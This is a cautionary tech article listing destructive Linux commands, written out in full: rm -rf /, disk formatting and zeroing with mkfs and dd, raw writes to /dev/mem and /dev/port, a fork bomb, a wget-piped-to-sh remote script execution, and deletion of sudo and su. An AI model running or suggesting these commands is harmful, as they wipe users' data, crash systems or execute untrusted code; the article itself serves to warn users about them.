# 9 Lethal Linux Commands You Should Never Run

By Joel Lee

Read the original article here: http://www.makeuseof.com/tag/9-lethal-linux-commands-never-run/

Linux can be a double-edged sword. It assumes that you know what you're doing and gives you the freedom to do whatever you want. It won't question you. This is convenient when you *actually* know what you're doing, but it also means that you could conceivably render your system unusable within seconds.

**New to the Linux command line?** No worries. Get started with our Linux terminal quickstart guide along with these 40 essential Linux commands. With those two resources, you'll familiarize yourself with the command line in no time.

But whether you're a Linux newbie or veteran, you should never run a command unless you know *exactly* what it does. Here are some of the deadliest Linux commands that you'll, for the most part, want to avoid.

## Delete Recursively

The Linux ability to delete anything you want without question is a godsend, especially after dealing with years of "That file can't be deleted" errors in Windows. But Internet trolls will be quick to deceive you, presenting you with extremely dangerous removal commands that can wipe entire hard drives.

```
rm -rf /
```

This line executes the remove command **rm** with two toggles: **-r** which forces recursive deletion through all subdirectories and **-f** which forces deletion of read-only files without confirmation. The command is executed on the **/** root directory, essentially wiping your whole system clean.

Note, these days on most Linux systems if you tried doing this you'd get a warning. But the warning isn't guaranteed, so just don't do it.

## Format Hard Drive

The terminal is especially tricky for Linux newbies because it provides several ways to accidentally wipe one's hard drive. Recursive deletion is a big one, but here's another:

```
mkfs.ext3 /dev/hda
```

This command formats the hard drive to use the ext3 filesystem. Disk drive formatting is not an inherently malicious action, but it does "reset" the drive such that it's "as good as new". In other words, a formatted hard drive is like a blank slate.

Formatting is useful for disk partitions and external drives, but executing it on an entire hard drive (such as **/dev/hda**) is dangerous and can leave your system in an unrecoverable state.

## Overwrite Hard Drive

As if accidental disk formatting wasn't bad enough, it's possible to overwrite your hard drive using raw data. At least disk formatting is an actual procedure with real-life uses; directly overwriting one's drive, on the other hand, is not so great.

```
command > /dev/hda
```

In the command above, **command** can be replaced by any Bash command. The **>** operator redirects the output from the command on its left to the file on its right. In this case, it doesn't matter what the output of the left command is. That raw data is being redirected and used to overwrite the system hard drive.

As you can imagine, this renders it useless.

## Wipe Hard Drive

Here's another way to ruin your system. This time around, the command will completely zero out your hard drive. No data corruptions or overwrites; it will literally fill your hard drive with zeroes. A hard drive doesn't get any more wiped than that.

```
dd if=/dev/zero of=/dev/hda
```

The **dd** command is a low-level instruction that's mostly used to write data to physical drives. The **if** parameter determines the source of data, which in this case is **/dev/zero**, a special on Linux that produces an infinite stream of zeroes. The **of** parameter determines the destination of those zeroes, which is the **/dev/hda** drive.

Yes, there are legitimate reasons for zeroing a drive, but if you don't know what those reasons are, then you'll want to stay away from this command.

## Implode Hard Drive

If you're tired of hearing ways to wreck your hard drive, hang on. Here's one more for you. On Linux, there's a special file called **/dev/null** that will discard whatever data is written to it. You can think of it as a black hole or a file shredder: anything given to it as input will be eaten up for good.

```
mv / /dev/null
```

Can you spot the danger here? The **mv** command tries to move the system's root directory **/** into the black hole of **/dev/null**. This is a valid command and the result is devastating: the hard drive gets eaten up and there's nothing left. Doing this will make your system unusable.

# Cause Kernel Panic

Windows has its infamous Blue Screen of Death. And despite the myths that float around, Linux is not a perfectly secure system. Sometimes, an internal error occurs from which recovery is impossible, so the system will enact something similar to the Blue Screen: a **kernel panic**.

```
dd if=/dev/random of=/dev/port

echo 1 > /proc/sys/kernel/panic

cat /dev/port

cat /dev/zero > /dev/mem
```

The intricacies of the above commands aren't important here. What *is* important is that running any of those lines will result in a kernel panic, forcing you to reboot your system. It's best to stay away from these commands unless you're absolutely sure you know what you're doing.

# Fork Bomb

Bash is the language of the Linux terminal and it's powerful. Not only can it run commands but it can also run functions, which makes it easy to write scripts that can automate system tasks. Unfortunately, functions don't come without their own set of risks.

```
:(){:|:&};:
```

This obscure command is called a **fork bomb**, which is a special type of kernel panic. It defines a function named **:** that recursively calls itself twice when executed. One of the recursive calls happens in the foreground while the other happens in the background.

In other words, whenever this function executes, it spawns two child processes. Those child processes spawn their own child processes, and this cycle keeps going in an infinite loop. The only way out of it is to reboot the system.

# Execute Remote Script

Here's an innocent command that can actually be useful in day-to-day life on a Linux system. **wget** retrieves the contents of a web URL, which can be used to access websites or download files. However, there's a simple trick that turns it dangerous:

```
wget http://an-untrusted-url -O- | sh
```

The above combination downloads the contents of the given URL and immediately feeds it to the **sh** command, which executes the downloaded contents in the terminal. If the URL were to point to a malicious script, you'd be sealing your own fate with this command.

## Disable Root Command Rights

This final command is straightforward. It utilizes the commonly used **rm** command to disable two of the most important commands on Linux: **sudo** and **su**. Long story short, these two allow you to run *other* commands with root permissions. Without them, life on Linux would be miserable.

```
rm -f /usr/bin/sudo;rm -f /bin/su
```

Which is why you shouldn't run this command. It force deletes both commands from your system without any confirmation, leaving you in a jam. There *are* ways to restore what you've deleted, but it's not always straightforward nor will it be pleasant.

Please, be careful! Don't be afraid to play around with Linux and the command line terminal, but at the same time, do your research and never execute anything unless you're absolutely sure what it does. If someone tells you to "try this command", always double- and triple-check it.

Have you ever run a destructive command? What happened? Did someone trick you into it? Share your thoughts and experiences with us in the comments!